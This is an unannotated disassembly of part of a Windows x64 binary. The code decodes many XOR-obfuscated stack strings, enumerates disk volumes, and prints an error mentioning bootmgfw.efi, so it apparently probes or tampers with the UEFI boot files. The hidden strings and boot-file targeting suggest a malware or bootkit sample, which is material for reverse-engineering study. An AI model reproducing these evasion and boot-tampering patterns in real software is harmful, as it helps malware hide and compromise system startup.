movabs rax, 0x6de66c9b4a72815b
mov qword [rbp + 0xc98], rax
movabs rax, 0x8541a304e4b8429
mov qword [rbp + 0xca0], rax
movabs rax, 0x15385c303959ecd4
mov qword [rbp + 0xca8], rax
movabs rax, 0xf6178224a8a5e9b
mov qword [rbp + 0xcb0], rax
movabs rax, 0x61c7c26a08381bb3
mov qword [rbp + 0xcb8], rax
movabs rax, 0x2b07a2674af67614
mov qword [rbp + 0xcf0], rax
movabs rax, 0x31dc2dbb225fa128
mov qword [rbp + 0xcf8], rax
movabs rax, 0x7a37737d1202c26c
mov qword [rbp + 0xd00], rax
movabs rax, 0x7a7a00445f369fbb
mov qword [rbp + 0xd08], rax
movabs rax, 0x6215174d28d62af4
mov qword [rbp + 0xd10], rax
movabs rax, 0x61aea40f264f7dd4
mov qword [rbp + 0xd18], rax
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x200]
mov ecx, 6
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140005d70
movdqa xmm0, xmmword [rbp + 0xcf0]
xorps xmm0, xmmword [rbp + 0xc90]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmm1, xmmword [rbp + 0xca0]
xorps xmm1, xmmword [rbp + 0xd00]
movdqa xmmword [rbp + 0x210], xmm1
movdqa xmm0, xmmword [rbp + 0xcb0]
xorps xmm0, xmmword [rbp + 0xd10]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmmword [rbp + 0x230], xmm5
movdqa xmmword [rbp + 0x240], xmm6
movdqa xmmword [rbp + 0x250], xmm7
lea rax, [rbp + 0x660]
lea rcx, [rbp + 0x200]
mov edx, 6
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140005df1
lea rcx, [rbp + 0x660]
call fcn.140018a18
movabs rax, 0x111727fbf5b7e7ef
mov qword [rbp + 0xc90], rax
movabs rax, 0x38cc4a1e21d25fba
mov qword [rbp + 0xc98], rax
movabs rax, 0x125d08da04276e26
mov qword [rbp + 0xca0], rax
movabs rax, 0xc798221f5597239
mov qword [rbp + 0xca8], rax
movabs rax, 0x17db53a9d90f9d30
mov qword [rbp + 0xcb0], rax
movabs rax, 0x62e93f7d6cfcb475
mov qword [rbp + 0xcb8], rax
movabs rax, 0x5c4b6ebdb0ebddae
mov qword [rbp + 0xcf0], rax
movabs rax, 0x4caa256d4ea03cd3
mov qword [rbp + 0xcf8], rax
movabs rax, 0x7d3f54ae6b482c7a
mov qword [rbp + 0xd00], rax
movabs rax, 0x6957f54792340656
mov qword [rbp + 0xd08], rax
movabs rax, 0x62b030c8bb21f456
mov qword [rbp + 0xd10], rax
movabs rax, 0x62e93f7d6cfcb405
mov qword [rbp + 0xd18], rax
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x660]
mov ecx, 6
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140005f30
movdqa xmm0, xmmword [rbp + 0xc90]
xorps xmm0, xmmword [rbp + 0xcf0]
movdqa xmmword [rbp + 0x660], xmm0
movdqa xmm1, xmmword [rbp + 0xca0]
xorps xmm1, xmmword [rbp + 0xd00]
movdqa xmmword [rbp + 0x670], xmm1
movdqa xmm0, xmmword [rbp + 0xcb0]
xorps xmm0, xmmword [rbp + 0xd10]
movdqa xmmword [rbp + 0x680], xmm0
movdqa xmmword [rbp + 0x690], xmm5
movdqa xmmword [rbp + 0x6a0], xmm6
movdqa xmmword [rbp + 0x6b0], xmm7
lea rax, [rbp + 0x200]
lea rcx, [rbp + 0x660]
mov edx, 5
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140005fb1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movabs rax, 0x153ed089a7ddca1d
mov qword [rbp + 0xc90], rax
movabs rax, 0x3d46ce7556aa15b8
mov qword [rbp + 0xc98], rax
movabs rax, 0x1bbc759c2f0d0585
mov qword [rbp + 0xca0], rax
movabs rax, 0x5d6655d8da51efe
mov qword [rbp + 0xca8], rax
movabs rax, 0x1fffffffe2a8d17d
mov qword [rbp + 0xcb0], rax
movabs rax, 0x1fffffffe4667477
mov qword [rbp + 0xcb8], rax
movabs rcx, 0x586299cfe281f05c
mov qword [rbp + 0xcf0], rcx
movabs rcx, 0x4920a10639d876d1
mov qword [rbp + 0xcf8], rcx
movabs rcx, 0x74de29e8406247d9
mov qword [rbp + 0xd00], rcx
movabs rcx, 0x60f8123beac86a91
mov qword [rbp + 0xd08], rcx
movabs rcx, 0x1fffffffe2a8b81b
mov qword [rbp + 0xd10], rcx
mov qword [rbp + 0xd18], rax
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp - 0x70]
mov ecx, 6
nop word [rax + rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x1400060f0
movdqa xmm0, xmmword [rbp + 0xc90]
xorps xmm0, xmmword [rbp + 0xcf0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xca0]
xorps xmm1, xmmword [rbp + 0xd00]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0xcb0]
xorps xmm0, xmmword [rbp + 0xd10]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmmword [rbp - 0x40], xmm5
movdqa xmmword [rbp - 0x30], xmm6
movdqa xmmword [rbp - 0x20], xmm7
lea rax, [rbp + 0x660]
lea rcx, [rbp - 0x70]
mov edx, 4
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140006160
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x660]
call fcn.140018d78
test eax, eax
je 0x1400065bc
movabs rax, 0x3e81fdba4b82b88
mov qword [rbp + 0xc90], rax
movabs rax, 0x155b332e4a88e717
mov qword [rbp + 0xc98], rax
movabs rax, 0xdb78bcc9077e8c9
mov qword [rbp + 0xca0], rax
movabs rax, 0x31abe7db361494a9
mov qword [rbp + 0xca8], rax
movabs rax, 0x761bfaebcf49b8e
mov qword [rbp + 0xcb0], rax
movabs rax, 0xda1fb2eb5561623
mov qword [rbp + 0xcb8], rax
movabs rax, 0x1fffffffe0004e37
mov qword [rbp + 0xcc0], rax
movabs rax, 0xe00000001fffdd87
mov qword [rbp + 0xcc8], rax
movabs rcx, 0x6d9a7e8c84e501d3
mov qword [rbp + 0xd10], rcx
movabs rcx, 0x6129525e6aef897e
mov qword [rbp + 0xd18], rcx
movabs rcx, 0x48e2aba2ff1e9ca0
mov qword [rbp + 0xd20], rcx
movabs rcx, 0x43c484b57f34ddef
mov qword [rbp + 0xd28], rcx
movabs rcx, 0x6e41c6c2c897fefc
mov qword [rbp + 0xd30], rcx
movabs rcx, 0x69c49742d422654d
mov qword [rbp + 0xd38], rcx
movabs rcx, 0x1fffffffe0004e3d
mov qword [rbp + 0xd40], rcx
mov qword [rbp + 0xd48], rax
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
lea rax, [rbp + 0x200]
mov ecx, 8
nop dword [rax]
nop word [rax + rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140006310
movdqa xmm0, xmmword [rbp + 0xc90]
xorps xmm0, xmmword [rbp + 0xd10]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmm1, xmmword [rbp + 0xca0]
xorps xmm1, xmmword [rbp + 0xd20]
movdqa xmmword [rbp + 0x210], xmm1
movdqa xmm0, xmmword [rbp + 0xcb0]
xorps xmm0, xmmword [rbp + 0xd30]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [rbp + 0xcc0]
xorps xmm1, xmmword [rbp + 0xd40]
movdqa xmmword [rbp + 0x230], xmm1
movdqa xmmword [rbp + 0x240], xmm6
movdqa xmmword [rbp + 0x250], xmm7
movdqa xmmword [rbp + 0x260], xmm8
movdqa xmmword [rbp + 0x270], xmm9
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x200]
lea r8d, [rcx + 6]
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub r8, 1
jne 0x1400063b1
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rcx, [rbp + 0x660]
call fcn.1400010e0
mov r14, qword [rsp + 0x78]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x104
lea rdx, [rbp + 0xf30]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
setne sil
xor r14d, r14d
test sil, sil
jne 0x140004b13
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov al, 1
jmp 0x140006e80
mov rdx, qword [rbp + 0xc48]
cmp rdx, 8
jb 0x1400064ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ed4
call fcn.14000d670
mov word [rbp + 0xc30], si
mov qword [rbp + 0xc48], 7
mov qword [rbp + 0xc40], rsi
mov rdx, qword [rbp + 0xbf8]
cmp rdx, 8
jb 0x140006e7e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xbe0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140006509
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006eda
call fcn.14000d670
jmp 0x140006e7e
lea rcx, str.____Error_Boot_bootmgfw.efi_n
call fcn.1400010e0
nop
mov rdx, qword [rbp + 0xc48]
cmp rdx, 8
jb 0x1400064ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ed4
jmp 0x1400064a6
mov rdx, qword [rbp + 0xbf8]
cmp rdx, 8
jb 0x140006e7e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xbe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006509
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006eda
jmp 0x140006509
movabs rax, 0x9a1d780c5c6d0f3
mov qword [rbp + 0xc90], rax
movabs rax, 0x16611ed26689183
mov qword [rbp + 0xc98], rax
movabs rax, 0xcb59f3682afe7b0
mov qword [rbp + 0xca0], rax
movabs rax, 0x10f5c22087d00734
mov qword [rbp + 0xca8], rax
movabs rax, 0xcb58cb45720777f
mov qword [rbp + 0xcb0], rax
movabs rax, 0xf1fea1a6665226a
mov qword [rbp + 0xcb8], rax
movabs rax, 0x1b5c805f4b8d2cb3
mov qword [rbp + 0xcc0], rax
movabs rax, 0x14289d312dc2b431
mov qword [rbp + 0xcc8], rax
movabs rax, 0x267b2952e
mov qword [rbp + 0xcd0], rax
movabs rcx, 0x56536fc7eca
mov qword [rbp + 0xcd8], rcx
movabs rax, 0x9e4d7dcc5fcd0b2
mov qword [rbp + 0xd30], rax
movabs rax, 0x12b11b1262191c5
mov qword [rbp + 0xd38], rax
movabs rax, 0xcda9f4482cce7d9
mov qword [rbp + 0xd40], rax
movabs rax, 0x1081c24687bf0747
mov qword [rbp + 0xd48], rax
movabs rax, 0xcda8cdb57627723
mov qword [rbp + 0xd50], rax
movabs rax, 0xf70ea786639221e
mov qword [rbp + 0xd58], rax
movabs rax, 0x1b3b80324bf92cdc
mov qword [rbp + 0xd60], rax
movabs rax, 0x144d9d1f2db5b457
mov qword [rbp + 0xd68], rax
movabs rax, 0x267db9548
mov qword [rbp + 0xd70], rax
mov qword [rbp + 0xd78], rcx
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
xorps xmm10, xmm10
xorps xmm11, xmm11
lea rax, [rbp + 0x200]
mov ecx, 0xa
nop word [rax + rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140006730
movdqa xmm0, xmmword [rbp + 0xc90]
xorps xmm0, xmmword [rbp + 0xd30]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmm1, xmmword [rbp + 0xca0]
xorps xmm1, xmmword [rbp + 0xd40]
movdqa xmmword [rbp + 0x210], xmm1
movdqa xmm0, xmmword [rbp + 0xcb0]
xorps xmm0, xmmword [rbp + 0xd50]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [rbp + 0xcc0]
xorps xmm1, xmmword [rbp + 0xd60]
movdqa xmmword [rbp + 0x230], xmm1
movdqa xmm0, xmmword [rbp + 0xcd0]
xorps xmm0, xmmword [rbp + 0xd70]
movdqa xmmword [rbp + 0x240], xmm0
movdqa xmmword [rbp + 0x250], xmm7
movdqa xmmword [rbp + 0x260], xmm8
movdqa xmmword [rbp + 0x270], xmm9
movdqa xmmword [rbp + 0x280], xmm10
movdqa xmmword [rbp + 0x290], xmm11
lea rax, [rbp + 0x660]
lea rcx, [rbp + 0x200]
mov edx, 8
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140006800
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea rax, [rbp + 0x660]
nop dword [rax + rax]
inc r13
cmp word [rax + r13*2], 0
jne 0x1400068a0
mov r8, r13
lea rdx, [rbp + 0x660]
lea rcx, [rsp + 0x48]
call fcn.14000b0d0
nop
lea rcx, [rsp + 0x48]
call fcn.140004660
movzx ebx, al
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14000690f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000690a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f1c
call fcn.14000d670
test bl, bl
je 0x140006e7e
movabs rax, 0x3273b90db7368da
mov qword [rbp - 0x70], rax
movabs rax, 0x23d6e562ef28ebb8
mov qword [rbp - 0x68], rax
movabs rax, 0x236e7dd5fb2e4281
mov qword [rbp - 0x50], rax
movabs rax, 0x23d6ef438b4784ff
mov qword [rbp - 0x48], rax
xorps xmm2, xmm2
lea rax, [rbp + 0xc90]
nop dword [rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub r12, 1
jne 0x140006960
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0xc90], xmm0
movdqa xmmword [rbp + 0xca0], xmm2
lea rcx, [rbp - 0x70]
lea rax, [rbp + 0xc90]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rbp - 0x70]
call fcn.1400010e0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov al, 1
jmp 0x140006e80
movabs rax, 0x11d84d925b021104
mov qword [rbp + 0xad0], rax
movabs rax, 0x46eba4b04582f9b8
mov qword [rbp + 0xad8], rax
movabs rax, 0x549404d47b5f3c5f
mov qword [rbp + 0xaf0], rax
movabs rax, 0x46e1f0e30cdabce7
mov qword [rbp + 0xaf8], rax
xorps xmm2, xmm2
lea rax, [rbp + 0xc90]
mov rcx, r12
nop dword [rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140006a90
movdqa xmm0, xmmword [rbp + 0xad0]
xorps xmm0, xmmword [rbp + 0xaf0]
movdqa xmmword [rbp + 0xc90], xmm0
movdqa xmmword [rbp + 0xca0], xmm2
lea rax, [rbp + 0xad0]
lea rcx, [rbp + 0xc90]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r12, 1
jne 0x140006ad0
jmp 0x140006e72
movabs rax, 0x1418a491588cf432
mov qword [rbp + 0xad0], rax
movabs rax, 0x53715878da4403aa
mov qword [rbp + 0xad8], rax
movabs rdx, 0x1fffffffe0000000
mov qword [rbp + 0xae0], rdx
movabs rcx, 0xe000000020000cd5
mov qword [rbp + 0xae8], rcx
xorps xmm4, xmm4
movabs rax, 0x534ae5c578d1d969
mov qword [rbp + 0xb10], rax
movabs rax, 0x59390c398a1b57ef
mov qword [rbp + 0xb18], rax
mov qword [rbp + 0xb20], rdx
mov qword [rbp + 0xb28], rcx
lea rax, [rbp + 0xc90]
mov ecx, 4
nop word [rax + rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140006bb0
movdqa xmm0, xmmword [rbp + 0xb10]
xorps xmm0, xmmword [rbp + 0xad0]
movdqa xmmword [rbp + 0xc90], xmm0
movdqa xmm1, xmmword [rbp + 0xb20]
xorps xmm1, xmmword [rbp + 0xae0]
movdqa xmmword [rbp + 0xca0], xmm1
movdqa xmmword [rbp + 0xcb0], xmm4
movdqa xmmword [rbp + 0xcc0], xmm5
lea rax, [rbp + 0xad0]
lea rcx, [rbp + 0xc90]
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r12, 1
jne 0x140006c10
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea rcx, [rbp + 0xad0]
jmp 0x140006e79
movabs rax, 0x15df5c4b64c22f3f
mov qword [rbp + 0xad0], rax
movabs rax, 0x75556377441c3892
mov qword [rbp + 0xad8], rax
xorps xmm2, xmm2
movabs rax, 0x7baa3308449f0264
mov qword [rbp + 0xaf0], rax
movabs rax, 0x75556377441c32e6
mov qword [rbp + 0xaf8], rax
lea rax, [rbp + 0xc90]
nop dword [rax]
nop word [rax + rax]
mov qword [rax], r14
mov qword [rax + 8], r14
lea rax, [rax + 0x10]
sub r12, 1
jne 0x140006cd0
movdqa xmm0, xmmword [rbp + 0xaf0]
xorps xmm0, xmmword [rbp + 0xad0]
movdqa xmmword [rbp + 0xc90], xmm0
movdqa xmmword [rbp + 0xca0], xmm2
lea rcx, [rbp + 0xad0]
lea rax, [rbp + 0xc90]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea rcx, [rbp + 0xad0]
jmp 0x140006e79
movabs rax, 0x1f884330a1461940
mov qword [rbp + 0xad0], rax
movabs rax, 0x606f12b489dc9121
mov qword [rbp + 0xad8], rax
movabs rax, 0x6ae42c66811b341b
mov qword [rbp + 0xaf0], rax
movabs rax, 0x606577d9e892f44c
mov qword [rbp + 0xaf8], rax
xorps xmm2, xmm2
lea rax, [rbp + 0xc90]
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
mov qword [rax], r14
mov qword [rax + 8], r14
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140006de0
movdqa xmm0, xmmword [rbp + 0xad0]
xorps xmm0, xmmword [rbp + 0xaf0]
movdqa xmmword [rbp + 0xc90], xmm0
movdqa xmmword [rbp + 0xca0], xmm2
lea rax, [rbp + 0xad0]
lea rcx, [rbp + 0xc90]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r12, 1
jne 0x140006e20
lea rcx, [rbp + 0xad0]
call fcn.1400010e0
xor al, al
mov rcx, qword [rbp + 0x1350]
xor rcx, rsp
call fcn.14000d650
lea r11, [rsp + 0x14c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000d780
nop
call fcn.14001a4f8
nop
call fcn.14001a4f8
nop
call fcn.14001a4f8
nop
call fcn.14001a4f8
int3
call fcn.14001a4f8
nop
call fcn.14001a4f8
nop
call fcn.14001a4f8
nop
call fcn.14001a4f8
nop
lea r9, [rsp + 0x48]
lea r8, [rbp + 0xc10]
mov edx, dword [rbp + 0xc0c]
call fcn.140002a60
nop
call fcn.14001a4f8
nop
lea r8, [rsp + 0x48]
mov edx, eax
call fcn.1400029f0
int3